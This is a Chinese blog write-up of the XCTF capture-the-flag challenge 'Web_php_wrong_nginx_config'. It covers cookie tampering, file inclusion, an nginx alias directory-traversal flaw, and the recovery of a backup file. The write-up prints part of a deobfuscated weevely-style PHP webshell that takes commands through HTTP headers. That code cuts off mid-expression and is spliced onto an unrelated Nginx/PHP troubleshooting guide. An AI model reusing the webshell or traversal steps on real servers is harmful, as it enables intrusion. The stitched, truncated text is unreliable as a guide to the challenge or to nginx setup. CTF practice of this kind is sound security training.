攻防世界web进阶区Web_php_wrong_nginx_config

该博客讲述了作者在攻防世界web进阶区遇到的一道题目,涉及文件包含漏洞的利用。通过分析robots.txt、登录状态的改变、URL路径以及代码审计,发现了目录遍历漏洞。最终利用漏洞读取了配置文件并解密得到了flag。过程中遇到了Python版本兼容性问题,通过学习和修改脚本,成功获取了flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开题目链接
出现了个登陆界面,随便试着登一下

在这里插入图片描述在这里插入图片描述

提示网站建设中,以为是sql注入,结果全是提示这玩意

看一下robots.txt

在这里插入图片描述

挨个访问一下

在这里插入图片描述hint.php给了一个文件路径,可能是文件包含方面的

但是Hack.php自动跳转到登陆界面,题目不可能给没用的,抓包看一下

在这里插入图片描述将islogin改成1,就成为登陆状态,然后放包

在这里插入图片描述

除了管理中心以外,其他的点击会跳转到登陆界面

那就看一下这个管理中心

url出现新的路径,如果admin访问正常,会please continue

在这里插入图片描述
那么file,和ext文件扩展名,会不会是文件包含漏洞

试一下,发现…/被过滤了

emmmm,测试一下

在这里插入图片描述
在这里插入图片描述
想到双写,但半天没弄出来,看下大佬的payload

在这里插入图片描述读取到 /etc/nginx/sites-enabled/site.conf 配置文件
审计代码

在这里插入图片描述

在 url访问 /web-img , 就会访问系统根目录下的 /images/

在这里插入图片描述
在这里插入图片描述
嗯,一个目录遍历漏洞

遍历目录 , 在 /var/www 下能找到 hack.php.bak

在这里插入图片描述
下载下来,发现一堆乱码

在这里插入图片描述

看下wp,也不太懂php混肴后门还是weevely 生成的 WebShell 后门 。。。

echo $f 得到
在这里插入图片描述

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
   
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
   
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
   
			$o.=$t {
   
				$i
			}
			^$k {
   
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
   
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
   
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m
### 解决PHPNginx配置中的常见问题 对于Web PHP应用出错的情况,通常可以从以下几个方面排查和修正Nginx配置: #### 1. 配置文件验证 确保`nginx.conf`以及任何包含的站点配置文件没有语法错误。可以通过命令行工具来测试配置的有效性: ```bash nginx -t ``` 如果存在错误,上述命令将会指出具体的行号和描述。 #### 2. FastCGI 参数设置不当 为了使Nginx能够正确转发PHP求至PHP-FPM进程管理器,必须适当调整FastCGI参数。典型的配置如下所示[^1]: ```nginx location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; # 或者使用TCP连接如127.0.0.1:9000 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } ``` #### 3. 权限与安全组策略 确认PHP-FPM监听套接字或端口具有足够的权限让Nginx访问,并且防火墙规则允许必要的通信流量通过。例如,在Linux环境中可能需要修改SELinux上下文或者临时禁用它来进行调试。 #### 4. 日志分析 利用详细的错误日志可以帮助定位具体的问题所在。增加日志级别有助于收集更多诊断信息: ```nginx error_log /path/to/error.log debug; access_log /path/to/access.log combined; ``` #### 5. Docker环境下的特殊注意事项 当运行于Docker容器内部时,建议创建专用网络以便两个服务之间更好地交互,并保持一致的工作目录结构以简化路径映射关系[^3]。 #### 6. 检查状态页面功能 启用并审查Nginx的状态页面可以提供关于性能瓶颈和服务健康状况的重要线索。这要求编译时加入了特定模块支持,并合理定义了访问控制列表(ALLOW/DENY)[^4].
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值